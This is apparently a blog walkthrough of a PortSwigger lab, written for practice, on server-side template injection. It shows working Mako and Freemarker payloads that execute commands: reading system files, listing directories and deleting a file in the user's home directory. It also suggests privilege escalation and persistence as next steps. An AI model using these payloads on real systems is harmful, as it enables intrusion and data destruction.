This is the third blog post covering server-side template injection and the associated PortSwigger Web Security Academy labs. This one, to me, is a lot like the last one. Like – exactly. That’s ok, though, as practice makes permanent. And since we’re going to be able to walk through the steps and get RCE (remote code execution) to achieve the lab’s goal, it is still pretty darn cool and we’re getting in another rep!
- SSTI – Basic server-side template injection
- SSTI – Basic server-side template injection (code context)
- >>SSTI – Server-side template injection using documentation<<
- SSTI – Server-side template injection in an unknown language with a documented exploit
- SSTI – Server-side template injection with information disclosure via user-supplied objects
- SSTI – Server-side template injection in a sandboxed environment
- SSTI – Server-side template injection with a custom exploit
NOTE – Links will light up as posts become available.
Resources:
- Lab: https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-using-documentation
- PayloadsAllTheThings SSTI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
Lab: Server-side template injection using documentation
Should we read the instructions this time? Yeah, this time we need to do just that. The goal of this lab is the same as the last two – delete the morale.txt file within Carlos’s home directory. The main difference here is that we have a weird set of credentials.
content-manager:C0nt3ntM4n4g3r
This is not the normal wiener:peter
set of creds so it is important to take note.
Let’s start poking at the lab and see if we can get it to tell us if and where it is using a template engine under the hood so that we can then figure out how to exploit it.
Step 1: Recon
As always, fire up Caido (or Burp), launch the integrated browser and then browse the web application.

This lab is the standard shop we are presented in the labs. Viewing an item yields this:

Nothing special there, moving to the login page shows us the standard login form. After authenticating with the provided creds, and then even trying to set an email address, we get this:

I tried pushing various payloads through the email address but no luck there. Staying logged in, I went back to a product page and we strike paydirt:

An ‘Edit template’ button! Since we’re dealing with SSTI, the word template is a glaring indicator we’re in the right spot.

Look at that – the template itself shows us that we’re dealing with ${ }
as the syntax wrapper for the template engine! No fuzzing required. Let’s see if we have code execution.

And we get:

Bam! Now, we just need to figure out what engine this is.
Step 2: Determine the engine
There are a few different engines that use this syntax. In order to exploit, we’re going to have to determine the exact right one. We might have to move through them one at a time. I go over to PayloadsAllTheThings and arbitrarily choose Python. Within the Python payloads for SSTI, the first engine I want to test is Mako.
<%
import os
x=os.popen('id').read()
%>
${x}
The very first payload provided by PayloadsAllTheThings for Mako is pretty much exactly what we want. If this is the right template engine, we will know right away:

Did it work? Nope!

Instead, I get a rather cryptic error message. It took a long time for me to decipher this, however, I think we’re probably dealing with the Freemarker template engine that runs within/on Java. Just a guess.
Moving over to Java within PayloadsAllTheThings, Freemarker is listed and we have payloads to try. There are a few different potential syntax options, however, since we see that the template is already using the ${ }
syntax, this payload makes sense:
${"freemarker.template.utility.Execute"?new()("id")}
Let’s try it!

And:

Gold – we got it.
Step 3: Explore
Let’s see what we can do with this RCE. First, can we run a dir listing on the root of the file system?
${"freemarker.template.utility.Execute"?new()("dir /")}

Yep. We have the ability to read the file system with this mechanism. I wonder what OS this lab is running on?
${"freemarker.template.utility.Execute"?new()("cat /etc/os-release")}

Do we have Python?
${"freemarker.template.utility.Execute"?new()("python3 --version")}

Yep. At this point, running under the Carlos user (as seen by running id) we can do whatever we want with the box. Look for privilege escalation, throw a full shell, whatever. Let’s move on to solving the lab.
Step 4: Solve the lab
Just as in previous labs, let’s see what directories we have inside of /home. We will probably see carlos. Then we can check inside of there and we will probably see our morale.txt. Then, we just need to remove the file.
${"freemarker.template.utility.Execute"?new()("dir /home")}

${"freemarker.template.utility.Execute"?new()("dir /home/carlos")}

${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}

Hit refresh on the page, and:

Solved!
Summary
Another solid SSTI lab in the books. While it felt a lot like the last one, the key takeaway here was adapting to a different template engine and figuring out how to exploit it. Practice makes permanent.
Key takeaways:
- Recognizing template engine syntax clues can save time
- Not all SSTI payloads work across different engines
- Freemarker allows direct command execution with the right syntax
- Once RCE is achieved, privilege escalation or persistence are logical next steps
Happy hacking!